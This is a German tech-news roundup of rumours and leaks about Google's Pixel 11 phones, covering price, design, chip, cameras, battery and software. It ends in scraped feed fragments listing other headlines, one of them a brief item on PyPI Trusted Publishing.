    Die Preise fßr das Pixel 11 sind noch nicht bestätigt, doch sollte Google seinen jßngsten Preistrends folgen, kÜnnte der Einstiegspreis fßr das Basismodell bei etwa 899 Euro liegen, während die Pro-Version mÜglicherweise etwa 1.099 Euro kosten wßrde. Die Pro XL- und Pro Fold-Versionen kÜnnten etwa 1.299 Euro beziehungsweise 1.899 Euro kosten.

    Diese Preisgestaltung wßrde jedoch bedeuten, dass Google an die Preise der Pixel-10-Modelle anknßpft, bei denen es im Vergleich zur Pixel-9-Serie keine PreiserhÜhung gab. Es ist unwahrscheinlich, dass dies zwei Jahre in Folge geschieht; daher rechnen wir eher mit einer PreiserhÜhung fßr die Pixel-11-Smartphones, auch wenn diese nur geringfßgig ausfällt.

    Ein Hinweis, der mÜglicherweise auf Googles Strategie hindeutet, PreiserhÜhungen zu vermeiden, ist die Reduzierung der RAM-Kapazität bei den neuen Smartphones. Es scheint, als werde Google das 11 Pro und das 11 Pro XL in zwei Varianten mit entweder 12 oder 16 GB RAM anbieten.

    Das 12-GB-Modell könnte die Lösung sein, mit der Google einen höheren Einstiegspreis für seine Flaggschiff-Smartphones vermeiden könnte – auch wenn dies bedeutet, dass Sie für denselben Preis nicht so viel Leistung erhalten wie bei den aktuellen Modellen Pixel 10 Pro und 10 Pro XL.

    Google Pixel 9 Pro Fold review 34

    Luke Baker

    Welche technischen Daten und Funktionen wird das Google Pixel 11 bieten?

    Pixel 11: Design & Verarbeitung

    Angesichts der Tatsache, dass Google bisher sehr zurückhaltend war, das Design seiner Smartphones grundlegend zu überarbeiten – abgesehen davon, dass die Kameraleiste ab dem Pixel 9 zu einem Visier umgestaltet wurde –, erwarten wir hier keine gravierenden Änderungen. Die jüngsten Gerüchte haben dies weitgehend bestätigt, doch es gibt einige kleinere Designanpassungen, die die neuen Pixel-Smartphones nicht nur schlanker wirken lassen, sondern auch ihre allgemeine Benutzerfreundlichkeit verbessern sollen.

    Da Google zuvor erklärt hat, dass wir alle zwei bis drei Jahre mit einem Redesign rechnen können, scheint es, als werde die Pixel-12-Serie im Jahr 2027 größere Veränderungen mit sich bringen.

    Was das Design des Pixel 11 betrifft, so scheint es – wie aus CAD-basierten Renderings hervorgeht – dem Pixel 10 äußerst ähnlich zu sein, mit lediglich zwei Designanpassungen. Dabei handelt es sich um einen schmaleren Rahmen um den Bildschirm sowie eine vollständig aus Glas bestehende Kameraleiste anstelle eines Metallabschnitts um den Blitz herum.

    Die Abmessungen sind angeblich identisch, abgesehen davon, dass das Smartphone 0,1 Millimeter dünner ist. Bitte beachten Sie, dass die Farbe nur zur Veranschaulichung dient, da sie lediglich auf der Farbe „Lavender“ des Pixel 10a basiert.

    Google Pixel 11 design leaked front and back

    Onleaks / Android Headlines

    Als Nächstes folgt das Pixel 11 Pro, bei dem sich ein ähnliches Bild wie beim Standardmodell abzeichnet. Die Renderings scheinen ein nahezu identisches Design mit dem gleichen glänzenden Rahmen wie zuvor zu bestätigen, ergänzt durch die neue, komplett schwarze Kameraleiste.

    Besonders auffällig ist, dass der Temperatursensor auf der Rßckseite zu fehlen scheint. Dieser befindet sich normalerweise unterhalb des Blitzes innerhalb der Kameraleiste und kÜnnte auf den Wegfall dieser einzigartigen, wenn auch eher nischenorientierten Funktion hindeuten.

    Google Pixel 11 Pro leak front and back

    Onleaks / Android Headlines

    Und hier ist das Renderbild des Pixel 11 Pro XL, das dasselbe zeigt:

    Google Pixel 11 Pro XL design

    Onleaks / Android Headlines

    Für das Pixel 11 Pro Fold sind online einige Renderings aufgetaucht, die eine sehr ähnliche Bauweise wie beim 10 Pro Fold zeigen – so sehr, dass man die beiden Modelle auf den ersten Blick verwechseln könnte. Bei genauerem Hinsehen fällt jedoch auf, dass der Blitz und das Mikrofon in die Kameraausbuchtung integriert wurden, um ein einheitliches Erscheinungsbild zu schaffen.

    Zwar ist es unwahrscheinlich, dass diese Maßnahme allein zu einer Verbesserung der Kameraqualität des 11 Pro Fold führt, doch aus gestalterischer Sicht wirkt das Design dadurch deutlich aufgeräumter.

    OnLeaks x Android Headlines

    Interessanter sind die Renderings, die das 11 Pro Fold im Seitenprofil zeigen; sie deuten offenbar darauf hin, dass das Smartphone im aufgeklappten Zustand nur 4,8 Millimeter dĂźnn und im zusammengeklappten Zustand 10,1 Millimeter dick sein wird.

    Zugegebenermaßen liegt das Gerät damit noch einen Schritt hinter der Konkurrenz zurück (das Galaxy Z Fold 7 und das Honor Magic V5 sind im aufgeklappten Zustand nur 4,2 Millimeter beziehungsweise 4,1 Millimeter dünn), doch es stellt eine deutliche Verbesserung gegenüber dem 10 Pro Fold dar, das sich in der Hand etwas klobig anfühlte.

    Wenden wir uns nun dem Pixel 11 Pro XL zu: Die ersten Vorstellungen davon, wie dieses Smartphone aussehen kĂśnnte, stammen nicht aus einer Reihe von Renderings, sondern vom HĂźllenhersteller Thinborne, der (versehentlich?) die dazugehĂśrige HandyhĂźlle etwas frĂźher als geplant vorgestellt hat.

    ThinBorne

    Zwar lassen sich aus einer Hülle nur begrenzt Rückschlüsse ziehen, doch die Aussparung für die Kamera deutet darauf hin, dass es einen etwas größeren, aber massiveren Kameraausleger geben könnte.

    Sollte dies zutreffen, dürfte dies verhindern, dass die Kameras in Ihrer Hosentasche hervorstehen – ein Problem, das im Jahr 2026 immer größer zu werden scheint (die Kamerawölbung des Honor Magic 8 Pro ist in einer Jeans schon aus einem Kilometer Entfernung zu erkennen). Ob dies auch eine Änderung der verbauten Sensoren beim Pixel 11 Pro XL bedeutet, bleibt abzuwarten.

    Was die Farbvarianten angeht, hat die Android 17 QPR1 Beta möglicherweise ein Licht auf die Sache geworfen, da sie zwei Hintergrundbilder enthält, die angeblich mit dem Pixel 11 Pro Fold in Verbindung stehen und die Namen „Lunar Tides“ sowie „Tidal Swirl“ tragen.

    In der Vergangenheit waren die von Google mitgelieferten Hintergrundbilder in der Regel so gestaltet, dass sie zur Außenfarbe der jeweils neuesten Smartphones passten. Während „Lunar Tides“ einen monochromen Stil aufweist, der dem „Moonstone“-Farbdesign des 10 Pro Fold nicht allzu unähnlich ist, ist es „Tidal Swirl“, das einen dunkleren Grünton aufweist, als wir ihn von der aktuellen Generation der Pixel-Smartphones kennen.

    9to5Google

    Bei genauerer Betrachtung der Beta-Version lässt sich feststellen, dass diese Hintergrundbilder mit Codenamen verknüpft sind, wobei „Midnight“ und „Pine“ jeweils mit „Lunar Tides“ und „Tidal Swirl“ gepaart sind. Obwohl sich zum jetzigen Zeitpunkt noch nicht genau sagen lässt, wie viele der Pixel-11-Geräte die potenziell ansprechende „Pine“-Variante erhalten könnten, sind diese Neuigkeiten ein gutes Zeichen für alle, die eine grüne Farbvariante auf ihrem Gerät bevorzugen.

    Seitdem diese „Pro Fold“-Hintergrundbilder durchgesickert sind, sind weitere aufgetaucht, die darauf hindeuten, was die anderen Smartphones der Reihe erwarten könnte – und dies deutet auf eine Gesamtstrategie hin, mit der Google möglicherweise von einigen der eher bombastischen Farben der Vergangenheit abrücken möchte.

    Für das Pixel 11 liegen uns vier Hintergrundbilder vor, die alle in gedeckteren Farbtönen gehalten sind und sich deutlich vom fast neonartigen „Lemongrass“ des Pixel 10 oder dem „Berry“ des Pixel 10a unterscheiden.

    • Schwarz
    • GrĂźn
    • Rot/Rosa
    • Lila/Grau
    Pixel 11 wallpaper

    Mystic Leaks

    Ähnlich verhält es sich mit dem 11 Pro und dem Pro XL, da diese dem gleichen Designkonzept folgen, jedoch eine leicht abweichende Farbpalette aufweisen. Sollten diese Hintergrundbilder – wie in den vergangenen Jahren – nahtlos mit den Farbvarianten der Hardware harmonieren, können wir für das Jahr 2026 eine noch raffiniertere Auswahl an Pixel-Smartphones erwarten.

    • Beige/Braun
    • Blau/Silber
    • GrĂźn
    • Schwarz
    Pixel 11 Pro wallpaper

    Mystic Leaks

    Pixel 11: Display

    Google wird bei der Pixel-11-Serie voraussichtlich weiterhin auf hochauflĂśsende OLED-Displays setzen, wobei Verbesserungen bei Helligkeit, Farbgenauigkeit und Bildwiederholfrequenz zu erwarten sind.

    Die einzige Neuigkeit, die uns hierzu vorliegt, ist, dass Google fĂźr die Pixel-11-Reihe angeblich das Spitzenmodell M16 OLED-Panel von Samsung Display verwenden wird, womit es den iPhone-18-Pro-Modellen (und auch den Galaxy-Modellen von Samsung Mobile) zuvorkommen wird.

    Es liegen zwar noch kaum Details vor, doch das Panel dĂźrfte in puncto Helligkeit, Farbwiedergabe, Lebensdauer und Energieeffizienz das Beste bieten.

    Sollte Google die Displaygröße im Vergleich zur Pixel-10-Serie nicht ändern, gelten für die Pixel-10-Modelle folgende Spezifikationen:

    • Pixel 10: 6,3-Zoll-Actua-OLED, 3.000 Nits
    • Pixel 10 Pro: 6,3-Zoll-Super-Actua-LTPO-OLED, 3.300 Nits
    • Pixel 10 Pro XL: 6,8-Zoll-Super-Actua-LTPO-OLED, 3.300 Nits
    • Pixel 10 Pro Fold: 8-Zoll-Super-Actua-Flex-LTPO-OLED, 3.000 Nits

    Angesichts der aktuellen Trends kĂśnnte die Pixel-11-Serie die derzeitige Obergrenze von 120 Hertz bei der Bildwiederholfrequenz Ăźberschreiten und so flĂźssigeres Scrollen sowie reaktionsschnellere Interaktionen ermĂśglichen.

    google pixel 10 pro xl 3
    Der Bildschirm des Pixel 11 Pro XL

    Anyron Copeman / Foundry

    Pixel 11: Leistung

    Google wird bei der Pixel-11-Reihe mit dem Tensor G6 auf einen neuen Chipsatz umsteigen. Auch wenn dies für niemanden eine Überraschung sein dürfte (ein neuer Tensor-Chip ist seit Jahren ein fester Bestandteil jeder neuen Generation), gibt es dieses Mal einige Verbesserungen, die einen enormen Einfluss auf die Leistung haben könnten.

    Eine der ersten Informationen, auf die wir stießen, stammt noch aus der Zeit, bevor das Pixel 10 überhaupt in den Handel kam: Einem Bericht zufolge soll der neue Tensor G6 im effizienteren 2-Nanometer-Verfahren hergestellt werden, was erhebliche Auswirkungen auf die alltägliche Leistungsfähigkeit der CPU haben könnte.

    Geht man noch einen Schritt weiter, scheint es nun so, als wĂźrde Google auf den neuesten C1-Ultra-Kern von Arm umsteigen, der eine Taktrate von 4,11 GHz erreichen kann. Zum Vergleich: Das entspricht der Taktrate des Mediatek Dimensity 9500, der das Super-Flaggschiff Oppo Find X9 Pro antreibt.

    Angesichts der Tatsache, wie stark Google die KI-Verarbeitung auf dem Gerät selbst vorantreibt, kÜnnte ein effizienterer Tensor-Chip Google in Zukunft auch mehr Spielraum fßr komplexere KI-gesteuerte Aufgaben bieten.

    Ein weiterer Bericht deutet darauf hin, dass Google neben dem Tensor G6 von einem Modem der Marke Samsung (was bislang die Regel war) auf ein von Mediatek hergestelltes Modem umsteigen wird.

    Google Pixel 9 Pro Fold review 29

    Luke Baker

    Bei dem betreffenden Modem handelt es sich um das MediaTek M90, das eine Reihe bemerkenswerter Funktionen bietet, darunter die Unterstßtzung von Sub-6- und mmWave-5G-Daten sowie Satellitenkonnektivität.

    Die Möglichkeit, in Notfällen eine Satellitenverbindung herzustellen, ist mittlerweile eine allgemein erwartete Funktion bei Flaggschiff-Smartphones, nachdem Apple mit „Emergency SOS“ diesen Trend ins Leben gerufen hat; daher ist es naheliegend, dass Google hier der Konkurrenz einen Schritt voraus sein möchte.

    Erwähnenswert ist auch, dass das Modem von Mediatek in Kombination mit dem Tensor G6 energieeffizienter sein könnte, was den Weg für eine längere Akkulaufzeit ebnet. Wir werden es erst mit Sicherheit wissen, wenn wir die Pixel-11-Smartphones zum Testen in die Hände bekommen, aber es ist eine schöne Vorstellung – zumal einige der Pixel-10-Modelle in diesem Bereich nicht gerade glänzen.

    Ein bedauerliches Gerücht, das zunehmend an Bedeutung gewinnt, besagt, dass Google dem derzeit von Unternehmen wie Apple und Samsung gesetzten Trend nicht folgen wird, das 128-GB-Modell zugunsten eines 256-GB-Basismodells wegzulassen – was einer unserer größten Kritikpunkte an den bestehenden Pixel-10-Smartphones war.

    128 GB Speicherplatz reichen im Jahr 2026 angesichts von Fotos, Videos und unverzichtbaren Apps einfach nicht mehr aus, daher hoffen wir aufrichtig, dass sich dieses GerĂźcht nicht bewahrheitet, doch es kĂśnnte letztendlich ein Ausschlusskriterium fĂźr High-End-Nutzer sein, die mehr Speicherplatz wĂźnschen, ohne hohe Summen fĂźr ein teureres Modell oder einen Cloud-Abonnementdienst zahlen zu mĂźssen.

    Erschwerend kommt hinzu, dass die neuesten GerĂźchte zum Pixel 11 nun darauf hindeuten, dass zwar die CPU-Leistung besser sein soll als zuvor, die neue GPU jedoch gar nicht so neu sein wird, da stattdessen ein PowerVR CXTP-48-1536 zum Einsatz kommen soll, der bereits im Jahr 2021 auf den Markt kam.

    Pixel 10 Pro Fold review 18

    Luke Baker

    Auch wenn die PowerVR-GPU möglicherweise eine leichte Leistungssteigerung gegenüber der Pixel-10-Reihe bietet, wäre dies dennoch eine große Enttäuschung, sollte sich dies bestätigen, da damit die derzeit an der Tensor G5 geäußerte Kritik ignoriert wird. Die Gaming-Leistung auf jedem Pixel-10-Smartphone entspricht einfach nicht dem Standard, den man von einem Flaggschiff-Gerät erwarten würde – die neuesten Galaxy-S26-Modelle sind ihnen dabei weit überlegen. Für die Gamer unter Ihnen könnte es sich lohnen, sich bei Ihrem nächsten Upgrade anderweitig umzusehen.

    Interessant ist, dass – sicherlich als Reaktion auf die aktuelle Speicherkrise, die durch die KI-Entwicklung angeheizt wird – das Pixel 11 Pro und Pro XL nun offenbar mit zwei verschiedenen RAM-Varianten ausgeliefert werden sollen: eine mit 12 GB und die andere mit den üblichen 16 GB.

    Zum Hintergrund: 16 GB RAM sind seit dem Pixel 9 Pro der Standard bei Googles Pixels der Pro-Klasse; dass das Unternehmen nun bei einer so zentralen Spezifikation einen Rßckzieher macht, sagt viel ßber den aktuellen Stand der Branche aus. Dies kÜnnte bedeuten, dass die 12-GB-Variante notwendig ist, um das 11 Pro und das Pro XL weiterhin zum gleichen Preis wie ihre Vorgängermodelle anbieten zu kÜnnen.

    Pixel 11: Kameras

    Die Kameraausstattung der Pixel-11-Serie entwickelt sich zu einer der fortschrittlichsten, die es bei einem Flaggschiff-Smartphone gibt, wobei Google sowohl Hardware als auch KI nutzt, um die Foto- und Videoqualität zu verbessern.

    Eines der herausragenden Merkmale, das vom Pixel 11 erwartet wird, ist ein Teleobjektiv der nächsten Generation, das einen bis zu 100-fachen Zoom unterstßtzt. Diese beeindruckende Zoomfähigkeit, unterstßtzt durch Algorithmen des maschinellen Lernens im Tensor-G6-Prozessor von Google, kÜnnte darauf abzielen, ähnliche Funktionen von Wettbewerbern wie Samsung zu ßbertreffen oder ihnen sogar den Rang abzulaufen.

    Der 100-fache Zoom ermöglicht es Nutzern, selbst aus großer Entfernung bemerkenswert detailreiche Bilder und Videos aufzunehmen, und setzt damit einen neuen Maßstab für die Zoomqualität von Smartphones. Wir wissen, dass einige der Pixel-10-Modelle einen 100-fachen Super-Res-Zoom bieten; das Pixel 11 dürfte diesem Standard daher mindestens entsprechen.

    Außerdem haben wir gesehen, dass das reguläre Pixel 10 ein Teleobjektiv erhalten hat, wenn auch nicht in derselben Qualität wie die Pro-Modelle. Auch hier könnte eine Dreifach-Kamera auf der Rückseite nun zum Standard für Pixel-Smartphones werden.

    Google Pixel 10 Lemongrass 2

    Chris Martin / Foundry

    Gerüchten zufolge soll das Pixel 11 zudem über einen verbesserten „Cinematic Blur“-Modus verfügen, der den immersiven „Bokeh“-Effekt in Videos verstärkt. Diese Funktion wird voraussichtlich 4K-Videos mit 30 Bildern pro Sekunde unterstützen und so eine kinoreife Qualität bieten, die das Storytelling in Videos auf ein neues Niveau hebt.

    Darüber hinaus könnte eine neue „Video Relight“-Option eingeführt werden, mit der Nutzer die Lichtverhältnisse innerhalb eines aufgenommenen Videos anpassen können, um in Echtzeit Lichtveränderungen zu simulieren und den Szenen so mehr Tiefe und Dramatik zu verleihen. Diese Funktion wird Berichten zufolge von der „Cinematic Rendering Engine“ im Tensor G6 unterstützt, wodurch der Stromverbrauch, der typischerweise mit unscharfen Videoaufnahmen verbunden ist, erheblich reduziert wird.

    Google Pixel 9 Pro Fold review 27

    Luke Baker

    Eine weitere spannende Neuerung ist der „Ultra Low Light Video“-Modus, auch als „Night Sight Video“ bezeichnet, der darauf ausgelegt ist, die Videoqualität bei schlechten Lichtverhältnissen zu verbessern.

    Im Gegensatz zu früheren „Night Sight“-Videomodi, die eine Cloud-Verarbeitung erforderten, soll diese Funktion dank der fortschrittlichen Bildverarbeitungsfähigkeiten des Tensor-G6-Chips vollständig auf dem Gerät selbst ausgeführt werden.

    Android Authority berichtet, dass Google den „Ultra Low Light Video“-Modus so konzipiert hat, dass er in Umgebungen mit einer Umgebungshelligkeit zwischen 5 und 10 Lux – was in etwa der Helligkeit eines schwach beleuchteten Raums oder von Kerzenlicht entspricht – optimale Ergebnisse liefert.

    Google Pixel 9 Pro review 13

    Dominik Tomaszewski / Foundry

    Durch die vollständige Verlagerung dieses Prozesses auf das Gerät kÜnnte die Pixel-11-Serie ihren Nutzern die MÜglichkeit bieten, hellere und klarere Videos bei schlechten Lichtverhältnissen aufzunehmen, ohne dass eine Internetverbindung erforderlich ist.

    Obwohl konkrete Angaben zu den Objektiven dieser neuen Smartphones noch rar sind, scheint es nun wahrscheinlich, dass das Pixel 11 und das Pixel 11 Pro Fold ßber ein vÜllig neues 50-Megapixel-Hauptobjektiv verfßgen werden, während das 11 Pro und das 11 Pro XL ein anderes, aber ebenfalls neues 50-Megapixel-Hauptobjektiv sowie ein verbessertes Teleobjektiv gemeinsam nutzen werden.

    Sollten sich diese Gerßchte bestätigen, kÜnnte die Kameraausstattung insgesamt einen deutlichen Qualitätssprung verzeichnen, was den neuen Pixel-Modellen sicherlich dabei helfen wßrde, sich von den aktuellen Kamera-Favoriten von Oppo, Vivo und Xiaomi abzuheben.

    Pixel 11: Funktionen, darunter „Pixel Glow“

    Eine wachsende Flut von Gerüchten deutet darauf hin, dass Google eine eigene Version der „Glyph“-Leuchten von Nothing einführen will, bekannt als „Pixel Glow“. Da uns die bereits erwähnten Renderings vorliegen, ist natürlich klar, dass das Konzept nicht genau dieselbe Designphilosophie verfolgen wird, die bei den Nothing-Smartphones eher weitläufig umgesetzt ist, sondern vielmehr die Idee, bestimmte Benachrichtigungen durch Lichter anzuzeigen, wenn das Smartphone mit der Vorderseite nach unten liegt.

    PXL 20250310 111828487

    Mattias Inghe

    Die Existenz einer solchen Funktion wurde in einer Beta-Version von Android 17 entdeckt, wobei in den begleitenden Hinweisen erläutert wird, dass die Funktion „durch dezente Licht- und Farbsignale auf der Rückseite Ihres Geräts Sie über wichtige Aktivitäten informiert“. Es ist anzunehmen, dass sich „Pixel Glow“ – basierend auf dem, was wir vom Design des Pixel 11 gesehen haben – entweder auf den Blitzbereich des leicht überarbeiteten Kameraausstellers oder auf das Google-„G“-Logo in der Mitte beschränken wird; wir tippen jedoch auf Ersteres, da in den Hinweisen auch erwähnt wird, dass aktivierte Blitzbenachrichtigungen „Pixel Glow“ vollständig außer Kraft setzen.

    Es ist auf jeden Fall eine coole Funktion, da sie manchen Menschen helfen könnte, einen gesünderen Umgang mit ihrem Smartphone zu pflegen. Genau wie bei den „Nothing Glyphs“ sollen diese lichtbasierten Benachrichtigungen Sie nur auf wirklich wichtige Angelegenheiten aufmerksam machen, sodass Sie weniger dazu neigen, sofort durch Ihr Smartphone zu scrollen, sobald eine Benachrichtigung auf dem Bildschirm erscheint.

    Da die Funktion mehrfarbige Lichter nutzen wird, ist davon auszugehen, dass Sie bestimmte Benachrichtigungen farblich kennzeichnen können, sodass Sie auf einen Blick genau erkennen, was das Smartphone Ihnen mitteilen möchte – sei es ein eingehender Anruf oder eine Lieferbenachrichtigung.

    Google scheint von den Fähigkeiten von „Pixel Glow“ ziemlich überzeugt zu sein, da die Beta-Version auch darauf hindeutet, dass das Konzept in einem kommenden Laptop zum Einsatz kommen wird. Seitdem wurden Googlebooks mit einer „Glowbar“ angekündigt, was uns eine Art Vorschau darauf gibt, wie dies beim Pixel 11 aussehen könnte.

    Google

    Ein kleiner Vorgeschmack darauf, wie die Idee aussehen könnte, war im Rahmen der Google I/O 2026 zu sehen, wo wir ganz kurz einen Lichtring um ein Pixel 10 Pro XL erkennen konnten. Es ist bestenfalls flüchtig, wirkt aber wie ein möglicher Vorgeschmack von Google darauf, was uns erwartet – auch wenn es Teil eines KI-Abschnitts war, in dem nicht viel real war.

    Wir haben Gemini gebeten, ein Konzeptbild für „Pixel Glow“ zu erstellen, und die Ergebnisse sind recht interessant. Nach mehreren Eingabeaufforderungen gelang es uns, Googles charakteristische Farben um die Kameraleiste herum erscheinen zu lassen, und obwohl es sich nach wie vor nur um eine Visualisierung einer möglichen Zukunft handelt, spricht definitiv einiges dafür, dass dies der Rückseite des Smartphones ein zusätzliches Flair verleiht.

    Eine andere Möglichkeit wäre, dass es Teil des „G“-Logos ist, doch wir halten dies für weniger wahrscheinlich.

    Pixel 11 with camera bar Pixel Glow lights by Gemini

    Chris Martin / Foundry

    Obwohl die Pixel-11-Reihe von „Pixel Glow“ profitieren soll, scheint es, als wolle Google im Gegenzug etwas weglassen, nämlich den Temperatursensor. Der Temperatursensor, der ursprünglich bereits beim Pixel 8 Pro eingeführt wurde, wirkte oft wie ein unausgereiftes Konzept, zumal es zum Zeitpunkt der Markteinführung keinen offensichtlichen Nutzen gab und der Eindruck entstand, dass die Technologie auf Drittanbieter angewiesen war, um ihre Existenz zu rechtfertigen. Daher stört es uns nicht sonderlich, dass er entfernt wird.

    Schade ist jedoch, dass nach Gerüchten, wonach ein vollwertiges Äquivalent zu Apples Face ID in der Entwicklung sei und in der Pixel-11-Reihe sein Debüt feiern sollte, nun offenbar feststeht, dass diese Technologie den Markteintritt komplett verpassen und wahrscheinlich erst in den Modellen des nächsten Jahres zum Einsatz kommen wird.

    Das Fehlen einer vollwertigen Gesichtserkennung wird die neuen Pixel-Modelle, insbesondere die höherpreisigen, gegenüber bestimmten Android-Geräten wie dem Honor Magic 8 Pro benachteiligen, das über einen frontseitigen 3D-Scanner verfügt, der Apples „Dynamic Island“ durchaus ähnelt.

    Pixel 11: Akku & Aufladen

    Zwar wurden die Akku-Spezifikationen fĂźr die Pixel-11-Serie noch nicht bekannt gegeben, doch gibt es einen interessanten Hinweis, der bereits in die GerĂźchtekĂźche gelangt ist: die MĂśglichkeit eines austauschbaren Akkus.

    Vor allem dank Apple und dessen Beharren auf einem einheitlichen Gehäuse haben so gut wie alle Hersteller das Konzept der austauschbaren Akkus aufgegeben, obwohl diese Funktion einst ein fester Bestandteil von Mobiltelefonen im Allgemeinen war. Einem kürzlich veröffentlichten Patent zufolge scheint es jedoch, als würde Google darüber nachdenken, dieses Konzept wieder aufzugreifen – möglicherweise für das Pixel 11 Fold.

    Pixel 11 Pro Fold Removable Battery Patent

    US Patent

    Da die faltbaren Pixel-Smartphones deutlich mehr Energie benötigen, um ihre größeren internen Bildschirme mit Strom zu versorgen, könnte ein schnell austauschbarer Akku für intensive Nutzer eine echte Rettung sein. Es lässt sich nicht sagen, ob Google diese Funktion auch für andere Modelle der Pixel-11-Reihe in Betracht zieht, doch wir würden uns sehr darüber freuen – insbesondere, da dies die Smartphones angesichts der nachlassenden Akkuleistung zu einer weitaus praktikableren Langzeitlösung machen würde.

    Google kĂśnnte zudem schnellere Ladezeiten einfĂźhren und die Akkulaufzeit verbessern, um den Anforderungen der verbesserten Hardware und der KI-Funktionen gerecht zu werden.

    Google Pixelsnap charger

    Google

    Abgesehen von diesen Gerüchten besteht die größere Hoffnung, dass Google möglicherweise auch schnellere Ladezeiten einführt und die Akkulaufzeit insgesamt verbessert, um den Anforderungen der verbesserten Hardware und der KI-Funktionen gerecht zu werden.

    Schließlich verfügt die Pixel-10-Serie über integriertes magnetisches Qi2-Laden – ähnlich wie Magsafe –, wobei das XL-Modell mit Qi2.2 eine kabellose Ladegeschwindigkeit von 25 Watt erreicht.

    Hoffentlich werden alle Pixel-11-Smartphones den schnelleren Qi2.2-Standard sowie die kabelgebundene Ladegeschwindigkeit von 45 Watt des Pixel 10 Pro XL erhalten.

    Pixel 11: Software

    Es wird erwartet, dass das Software-Erlebnis der Pixel-11-Serie eng mit den neuesten KI-Entwicklungen von Google verzahnt sein wird und Funktionen bietet, die die alltägliche Interaktion mit dem Gerät vereinfachen und verbessern. Dank eines Berichts erfahren wir bereits einiges darßber.

    Eine der erwarteten Software-Verbesserungen ist die Funktion „Speak-to-Tweak“, mit der Nutzer sprachgesteuerte Anpassungen an ihren Fotos vornehmen können. Durch das einfache Aussprechen von Befehlen können Nutzer Bildeinstellungen wie Helligkeit, Kontrast und Sättigung optimieren, wodurch die Bildbearbeitung intuitiver und zugänglicher wird.

    Darüber hinaus könnte die Pixel-11-Serie über „Sketch-to-Image“ verfügen, ein Tool, das grobe Skizzen in detaillierte Bilder umwandelt, ähnlich wie bei Samsungs Galaxy AI. Diese Funktion dürfte besonders für kreative Nutzer nützlich sein, die aus einfachen Skizzen Kunstwerke oder visuelle Inhalte erstellen möchten.

    Eine weitere Software-Innovation mit dem vorläufigen Namen „Magic Mirror“ soll sich Gerüchten zufolge in der Entwicklung befinden, wobei konkrete Details noch unklar sind. Diese Funktion könnte neue KI-basierte Anpassungsoptionen für Fotos oder Videos einführen und damit möglicherweise die Personalisierungs- oder Verschönerungsfunktionen innerhalb der Foto- und Videobearbeitungs-Apps des Geräts verbessern.

    Google Pixel 9 Pro Fold review 35

    Luke Baker

    Die Pixel-11-Serie kÜnnte dank der im Tensor-G6-Chip integrierten nanoTPU-Technologie zudem mit einer Reihe von durchgehend aktiven Tools zur Gesundheitsßberwachung auf den Markt kommen. Diese Suite von ML-basierten Funktionen kÜnnte die Erkennung von Schlafapnoe, Schnarchen und Husten sowie sogar die Sturzerkennung umfassen, was das Pixel 11 zu einem leistungsstarken Gerät fßr gesundheitsbewusste Nutzer macht.

    Die Serie könnte zudem neue fitnessorientierte Funktionen wie „Running ML“ enthalten, das Läufern Echtzeit-Feedback liefert, darunter anpassbare Tempovorgaben und eine Gleichgewichtsanalyse, und den Nutzern so hilft, ihre Trainingsroutinen zu optimieren.

    Zusätzlich zu diesen Neuerungen könnte das Pixel 11 die Unterstützung für Googles „Quick Phrases“ erweitern – eine Funktion, mit der Nutzer bestimmte Aktionen ausführen können, ohne den Google Assistant vollständig zu aktivieren.

    Das Potenzial für verbesserte „Quick Phrases“ könnte alltägliche Aufgaben wie das Annehmen von Anrufen oder die Steuerung von Smart-Home-Geräten vereinfachen und die Smartphones der Pixel-11-Serie zu äußerst reaktionsschnellen Geräten machen, die sich nahtlos in den Alltag der Nutzer integrieren.

    Google Pixel 9 Pro review 12

    Dominik Tomaszewski / Foundry

    Wir wissen nun wesentlich mehr darüber, was Google mit Android 17 für das gesamte Ökosystem bereithält. Dazu gehören ein starker Fokus auf die Google-KI, die Aufgaben für Sie übernimmt, sowie Funktionen, die Ihr Wohlbefinden in den Vordergrund stellen, wie „Pause Point“. Smartphones von Google und Samsung werden als erste von der aktualisierten Software profitieren, sodass Fans davon ausgehen können, Android 17 mit der Pixel-11-Reihe direkt nach dem Auspacken nutzen zu können.

    Das ist alles, was wir bislang Ăźber die Pixel-11-Serie wissen, doch wir werden diesen Artikel bis zur MarkteinfĂźhrung fortlaufend aktualisieren, sobald neue GerĂźchte und Leaks bekannt werden.

    ]]>         <![CDATA[NASA calls time on CAPSTONE after four years of lunar orbit lessons]]> https://tsecurity.de/de/3652413/it-nachrichten/nasa-calls-time-on-capstone-after-four-years-of-lunar-orbit-lessons/ https://tsecurity.de/de/3652413/it-nachrichten/nasa-calls-time-on-capstone-after-four-years-of-lunar-orbit-lessons/ Tue, 07 Jul 2026 20:03:09 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[LensVLM: Selective Context Expansion for Compressed Visual Representation of Text]]> https://tsecurity.de/de/3651918/ai-nachrichten/lensvlm-selective-context-expansion-for-compressed-visual-representation-of-text/ https://tsecurity.de/de/3651918/ai-nachrichten/lensvlm-selective-context-expansion-for-compressed-visual-representation-of-text/ Tue, 07 Jul 2026 16:48:54 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[Woodruff: You shouldn't trust trusted publishing]]> https://tsecurity.de/de/3651890/linux-tipps/woodruff-you-shouldnt-trust-trusted-publishing/ https://tsecurity.de/de/3651890/linux-tipps/woodruff-you-shouldnt-trust-trusted-publishing/ Tue, 07 Jul 2026 16:40:33 +0200 🐧 Linux Tipps tsecurity.de William Woodruff, better known online as "yossarian", has published a blog post to make the case that users should not place their trust in trusted publishing:

    Trusted Publishing is a mechanism for establishing trust between an external machine identity (like a CI/CD workflow) and one or more projects on a package index/registry. The "trust" in "Trusted Publishing" refers to that trust relationship, and not to anything else.

    It is not, and cannot be, a signal for package trust or quality. You cannot use it to determine whether a package is safe or "good," and PyPI consciously stymies attempts to misuse it for that purpose by not rendering it as a "green checkmark" or anything else of the sort.

    Or as another framing: Trusted Publishing is just a form of authentication. It doesn't tell you anything other than that an upload was authenticated, which all uploads to PyPI are.

    LWN covered trusted publishing in June.

    ]]>         <![CDATA[Der Arbeitsspeicher der HMX 6: 192 Gigabyte von Biwin für 2500 Euro]]> https://tsecurity.de/de/3651681/it-nachrichten/der-arbeitsspeicher-der-hmx-6-192-gigabyte-von-biwin-fuer-2500-euro/ https://tsecurity.de/de/3651681/it-nachrichten/der-arbeitsspeicher-der-hmx-6-192-gigabyte-von-biwin-fuer-2500-euro/ Tue, 07 Jul 2026 15:33:17 +0200 📰 IT Nachrichten tsecurity.de

